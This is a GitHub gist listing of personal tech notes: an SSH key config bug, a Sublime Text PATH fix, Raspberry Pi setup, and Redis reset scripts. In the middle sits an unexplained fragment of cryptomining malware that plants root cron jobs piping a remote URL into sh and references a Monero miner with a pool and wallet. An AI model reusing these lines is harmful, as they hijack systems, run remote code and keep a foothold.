Skip to content

Instantly share code, notes, and snippets.

View memoryonrepeat's full-sized avatar
🏝️

Thanh Nguyen memoryonrepeat

🏝️
View GitHub Profile
@memoryonrepeat
memoryonrepeat / git-ssh.md
Last active October 2, 2018 07:00
Potential ssh bug
  • Have a git config file that has default pattern matching like * to let client use default ssh key id_rsa
  • Make a new config block to match private git hostname and let client use authorized ssh key
  • Try cloning private repo -> doesn't work -> guess that ssh client is still somehow using id_rsa instead of authorized keys
  • Try removing all keys from ssh-add and re-add, still doesn't work
  • Try looking at the process by running ssh -v git@[private host name] -> see that it's successfully handshaked with private host name using id_rsa
  • Well because ssh client can fallback to the default key to connect to private host name, it doesn't need to use authorized ssh key
  • But that shouldn't be the case because eventually it will fail at some point like at the beginning
  • Seems like a bug. Guess that the private group's domain is accessible via SSH but the private repos are not hence the weird scenario.
  • But at least there is a workaround. Just remove the default pattern matching IdentityFile id_rsa and it wi
@memoryonrepeat
memoryonrepeat / node_env.py
Last active March 16, 2018 09:32
Fix Sublime Text 3 PATH. Inspired by https://gist.github.com/joesepi/11269417
# Save this script at /Users/{your username}/Library/Application\ Support/Sublime\ Text\ 3/Packages/node_env.py
# Inspired by https://gist.github.com/joesepi/11269417
import os
nvm_path = '%(home)s/.nvm' % {'home': os.path.expanduser("~")}
nvm_default_file_path = '%(root)s/alias/default' % {'root': nvm_path}
nvm_node_root = '%(root)s/versions/node' % {'root': nvm_path}
# Grab default alias
@memoryonrepeat
memoryonrepeat / raspberry.md
Last active May 13, 2017 07:18
Raspberry pi learning diary

SSH without physical keyboard

  • Get a mouse, copy image to SD, start Pi --> initially there's only one partition called "recovery"
  • Attach Pi to screen, click install
  • Plug SD to computer again --> now there's another partition called "boot"
  • Create an empty file called "ssh" (no extension) in "boot" partition
  • Now ssh is enabled. Plug Pi to ethernet cable. On ssh client, ssh to pi@< IP address of Pi> (IP address can be obtained by logging in to LAN control panel or use network scanner. Probably should give Pi static address to ease subsequent connections)

Pair desktop (to use laptop's keyboard + screen to control)

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root
# ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

Bloom filter

  • A space-efficient data structure used to test whether an element is in a set or not.
  • False positives can be tolerated. False negatives can not.
  • Answer can be either "element is possibly in set" or "element is definitely not in set".
  • Applications: CDN, cache, synchronization ...

Straw man fallacy

  • A gives argument X.
  • B tries to defeat argument Y which is superficially similar to X, then conclude that B has defeated X.
@memoryonrepeat
memoryonrepeat / security
Created July 3, 2016 13:27
OS X security utilities
# Check for rootkit, keylogger etc
http://www.chkrootkit.org/
# Check for suspicious network activities
https://www.obdev.at/products/littlesnitch/index.html
@memoryonrepeat
memoryonrepeat / utilities.sh
Last active June 24, 2016 07:43
Useful bash utilities
# Download whole HTTP directories
# https://stackoverflow.com/questions/23446635/how-to-download-http-directory-with-all-files-and-sub-directories-as-they-appear
# Added wildcard to index.html so that junks that have similar prefix won't be downloaded
# Tested with downloading old IOI problem sets and solutions i.e http://olympiads.win.tue.nl/ioi/ioi2004/contest/
wget -r -np -nH --cut-dirs=3 -R index.html* http://hostname/aaa/bbb/ccc/ddd/
@memoryonrepeat
memoryonrepeat / script.sh
Created May 2, 2016 05:03
OS X utilities
# Rebuild index for spotlight
sudo mdutil -i off /
sudo mdutil -E /
sudo mdutil -i on /
@memoryonrepeat
memoryonrepeat / redis-reset.sh
Created January 6, 2016 09:25
Reset all previous redis configs
#!/bin/bash
sudo rm -rf /usr/local/bin/redis-*
sudo rm -rf /etc/init.d/redis_6379
sudo rm -rf /var/redis/
sudo rm -rf /etc/redis/
@memoryonrepeat
memoryonrepeat / redis_init.sh
Last active January 18, 2016 05:04
Redis init script (the one provided by Redis doesn't work)
#!/bin/bash
# Stop current redis process if any
sudo /etc/init.d/redis_6379 stop
# Reset previous configs if any
sudo rm -rf /usr/local/bin/redis-*
sudo rm -rf /etc/init.d/redis_6379
sudo rm -rf /var/redis/
sudo rm -rf /etc/redis/